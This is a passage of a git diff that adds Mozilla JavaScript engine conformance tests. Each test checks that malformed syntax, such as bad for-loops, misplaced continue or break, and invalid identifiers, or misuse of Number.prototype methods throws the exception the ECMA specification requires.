+ Corresponds To: 7.5-9-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "lexical-042";
+var VERSION = "JS1_4";
+var TITLE = "Identifiers";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var 123;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var 123" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-047.js b/js/src/tests/ecma_2/Exceptions/lexical-047.js
new file mode 100644
index 000000000..7fa084bd3
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-047.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-047.js
+ Corresponds To: 7.8.1-7-n.js
+ ECMA Section: 7.8.1
+ Description:
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "lexical-047";
+var VERSION = "JS1_4";
+var TITLE = "for loops";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var counter = 0;
+ eval("for ( counter = 0\n"
+ + "counter <= 1\n"
+ + "counter++ )\n"
+ + "{\n"
+ + "result += \": got to inner loop\";\n"
+ + "}\n");
+
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "line breaks within a for expression" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-048.js b/js/src/tests/ecma_2/Exceptions/lexical-048.js
new file mode 100644
index 000000000..788c3240e
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-048.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-048.js
+ Corresponds To: 7.8.1-1.js
+ ECMA Section: 7.8.1 Rules of Automatic Semicolon Insertion
+ Description:
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "lexical-048";
+var VERSION = "JS1_4";
+var TITLE = "The Rules of Automatic Semicolon Insertion";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var counter = 0;
+ eval( "for ( counter = 0;\ncounter <= 1\ncounter++ ) {\nresult += \": got inside for loop\")");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "line breaks within a for expression" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-049.js b/js/src/tests/ecma_2/Exceptions/lexical-049.js
new file mode 100644
index 000000000..ea2483fd8
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-049.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-049
+ Corresponds To: 7.8.1-1.js
+ ECMA Section: 7.8.1 Rules of Automatic Semicolon Insertioin
+ Description:
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+var SECTION = "lexical-049";
+var VERSION = "JS1_4";
+var TITLE = "The Rules of Automatic Semicolon Insertion";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var counter = 0;
+ eval("for ( counter = 0\n"
+ + "counter <= 1;\n"
+ + "counter++ )\n"
+ + "{\n"
+ + "result += \": got inside for loop\";\n"
+ + "}\n");
+
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "line breaks within a for expression" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-050.js b/js/src/tests/ecma_2/Exceptions/lexical-050.js
new file mode 100644
index 000000000..d0079468a
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-050.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-050.js
+ Corresponds to: 7.8.2-1-n.js
+ ECMA Section: 7.8.2 Examples of Automatic Semicolon Insertion
+ Description: compare some specific examples of the automatic
+ insertion rules in the EMCA specification.
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "lexical-050";
+var VERSION = "JS1_4";
+var TITLE = "Examples of Automatic Semicolon Insertion";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("{ 1 2 } 3");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "{ 1 2 } 3" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-051.js b/js/src/tests/ecma_2/Exceptions/lexical-051.js
new file mode 100644
index 000000000..1fec695d6
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-051.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-051.js
+ Corresponds to: 7.8.2-3-n.js
+ ECMA Section: 7.8.2 Examples of Automatic Semicolon Insertion
+ Description: compare some specific examples of the automatic
+ insertion rules in the EMCA specification.
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "lexical-051";
+var VERSION = "JS1_4";
+var TITLE = "Examples of Automatic Semicolon Insertion";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("for (a; b\n) result += \": got to inner loop\";")
+ } catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "for (a; b\n)" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-052.js b/js/src/tests/ecma_2/Exceptions/lexical-052.js
new file mode 100644
index 000000000..b134b9743
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-052.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-052.js
+ Corresponds to: 7.8.2-4-n.js
+ ECMA Section: 7.8.2 Examples of Automatic Semicolon Insertion
+ Description: compare some specific examples of the automatic
+ insertion rules in the EMCA specification.
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "lexical-052";
+var VERSION = "JS1_4";
+var TITLE = "Examples of Automatic Semicolon Insertion";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ MyFunction();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "calling return indirectly" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function MyFunction() {
+ var s = "return";
+ eval(s);
+}
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-053.js b/js/src/tests/ecma_2/Exceptions/lexical-053.js
new file mode 100644
index 000000000..8739afbad
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-053.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-053.js
+ Corresponds to: 7.8.2-7-n.js
+ ECMA Section: 7.8.2 Examples of Automatic Semicolon Insertion
+ Description: compare some specific examples of the automatic
+ insertion rules in the EMCA specification.
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "lexical-053";
+var VERSION = "JS1_4";
+var TITLE = "Examples of Automatic Semicolon Insertion";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ a = true
+ b = false
+
+ eval('if (a > b)\nelse result += ": got to else statement"');
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "calling return indirectly" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-054.js b/js/src/tests/ecma_2/Exceptions/lexical-054.js
new file mode 100644
index 000000000..1b6e995c3
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-054.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-054.js
+ Corresponds to: 7.8.2-7-n.js
+ ECMA Section: 7.8.2 Examples of Automatic Semicolon Insertion
+ Description: compare some specific examples of the automatic
+ insertion rules in the EMCA specification.
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "lexical-054";
+var VERSION = "JS1_4";
+var TITLE = "Examples of Automatic Semicolon Insertion";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ a=0;
+ b=1;
+ c=2;
+ d=3;
+ eval("if (a > b)\nelse c = d");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "if (a > b)\nelse c = d" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/number-001.js b/js/src/tests/ecma_2/Exceptions/number-001.js
new file mode 100644
index 000000000..37ba1b798
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/number-001.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: number-001
+ Corresponds To: 15.7.4.2-2-n.js
+ ECMA Section: 15.7.4.2.2 Number.prototype.toString()
+ Description:
+ If the radix is the number 10 or not supplied, then this number value is
+ given as an argument to the ToString operator; the resulting string value
+ is returned.
+
+ If the radix is supplied and is an integer from 2 to 36, but not 10, the
+ result is a string, the choice of which is implementation dependent.
+
+ The toString function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "number-001";
+var VERSION = "JS1_4";
+var TITLE = "Exceptions for Number.toString()";
+
+startTest();
+writeHeaderToLog( SECTION + " Number.prototype.toString()");
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ object= new Object();
+ object.toString = Number.prototype.toString;
+ result = object.toString();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "object = new Object(); object.toString = Number.prototype.toString; object.toString()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/number-002.js b/js/src/tests/ecma_2/Exceptions/number-002.js
new file mode 100644
index 000000000..5f4462e04
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/number-002.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: number-002.js
+ Corresponds To: ecma/Number/15.7.4.3-2-n.js
+ ECMA Section: 15.7.4.3.1 Number.prototype.valueOf()
+ Description:
+ Returns this number value.
+
+ The valueOf function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "number-002";
+var VERSION = "JS1_4";
+var TITLE = "Exceptions for Number.valueOf()";
+
+startTest();
+writeHeaderToLog( SECTION + " Number.prototype.valueOf()");
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ object= new Object();
+ object.toString = Number.prototype.valueOf;
+ result = object.toString();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "object = new Object(); object.valueOf = Number.prototype.valueOf; object.valueOf()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/number-003.js b/js/src/tests/ecma_2/Exceptions/number-003.js
new file mode 100644
index 000000000..8d0ad83db
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/number-003.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: number-003.js
+ Corresponds To: 15.7.4.3-3.js
+ ECMA Section: 15.7.4.3.1 Number.prototype.valueOf()
+ Description:
+ Returns this number value.
+
+ The valueOf function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "number-003";
+var VERSION = "JS1_4";
+var TITLE = "Exceptions for Number.valueOf()";
+
+startTest();
+writeHeaderToLog( SECTION + " Number.prototype.valueOf()");
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ VALUE_OF = Number.prototype.valueOf;
+ OBJECT = new String("Infinity");
+ OBJECT.valueOf = VALUE_OF;
+ result = OBJECT.valueOf();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "Assigning Number.prototype.valueOf as the valueOf of a String object " +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/shell.js b/js/src/tests/ecma_2/Exceptions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/shell.js
diff --git a/js/src/tests/ecma_2/Exceptions/statement-001.js b/js/src/tests/ecma_2/Exceptions/statement-001.js
new file mode 100644
index 000000000..087f3f74d
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-001.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-001.js
+ Corresponds To: 12.6.2-9-n.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is not present.
+ 2. second expression is not present
+ 3. third expression is not present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "statement-001.js";
+// var SECTION = "12.6.2-9-n";
+var VERSION = "ECMA_1";
+var TITLE = "The for statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("for (i) {\n}");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "for(i) {}" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/statement-002.js b/js/src/tests/ecma_2/Exceptions/statement-002.js
new file mode 100644
index 000000000..7ac633058
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-002.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-002.js
+ Corresponds To: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "statement-002";
+var VERSION = "JS1_4";
+var TITLE = "The for..in statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval(" for ( var i, p in this) { result += this[p]; }");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "more than one member expression" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/statement-003.js b/js/src/tests/ecma_2/Exceptions/statement-003.js
new file mode 100644
index 000000000..7e257675c
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-003.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-003
+ Corresponds To: 12.6.3-7-n.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "statement-003";
+var VERSION = "JS1_4";
+var TITLE = "The for..in statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var o = new MyObject();
+ var result = 0;
+
+ eval("for ( this in o) {\n"
+ + "result += this[p];\n"
+ + "}\n");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "bad left-hand side expression" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/statement-004.js b/js/src/tests/ecma_2/Exceptions/statement-004.js
new file mode 100644
index 000000000..056e0452e
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-004.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-004.js
+ Corresponds To: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "statement-004";
+var VERSION = "JS1_4";
+var TITLE = "The for..in statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var o = new MyObject();
+
+ eval("for ( \"a\" in o) {\n"
+ + "result += this[p];\n"
+ + "}");
+
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "bad left-hand side expression" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/statement-005.js b/js/src/tests/ecma_2/Exceptions/statement-005.js
new file mode 100644
index 000000000..404a157e9
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-005.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-005.js
+ Corresponds To: 12.6.3-8-n.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "statement-005";
+var VERSION = "JS1_4";
+var TITLE = "The for..in statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var o = new MyObject();
+ result = 0;
+
+ eval("for (1 in o) {\n"
+ + "result += this[p];"
+ + "}\n");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "bad left-hand side expression" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/statement-006.js b/js/src/tests/ecma_2/Exceptions/statement-006.js
new file mode 100644
index 000000000..24839d847
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-006.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-006.js
+ Corresponds To: 12.6.3-9-n.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "statement-006";
+var VERSION = "JS1_4";
+var TITLE = "The for..in statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var o = new MyObject();
+ var result = 0;
+ for ( var o in foo) {
+ result += this[o];
+ }
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "object is not defined" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function MyObject() {
+ this.value = 2;
+ this[0] = 4;
+ return this;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/statement-007.js b/js/src/tests/ecma_2/Exceptions/statement-007.js
new file mode 100644
index 000000000..bb561b691
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-007.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-007.js
+ Corresponds To: 12.7-1-n.js
+ ECMA Section: 12.7 The continue statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "statement-007";
+var VERSION = "JS1_4";
+var TITLE = "The continue statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("continue;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "continue outside of an iteration statement" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/statement-008.js b/js/src/tests/ecma_2/Exceptions/statement-008.js
new file mode 100644
index 000000000..a71fc266d
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-008.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: statement-008.js
+ Corresponds To: 12.8-1-n.js
+ ECMA Section: 12.8 The break statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "statement-008";
+var VERSION = "JS1_4";
+var TITLE = "The break in statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("break;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "break outside of an iteration statement" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/statement-009.js b/js/src/tests/ecma_2/Exceptions/statement-009.js
new file mode 100644
index 000000000..9be1de747
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/statement-009.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.9-1-n.js
+ ECMA Section: 12.9 The return statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "12.9-1-n";
+var VERSION = "ECMA_1";
+var TITLE = "The return statement";
+
+startTest();
+writeHeaderToLog( SECTION + " The return statement");
+
+var result = "Failed";
+var exception = "No exception thrown";
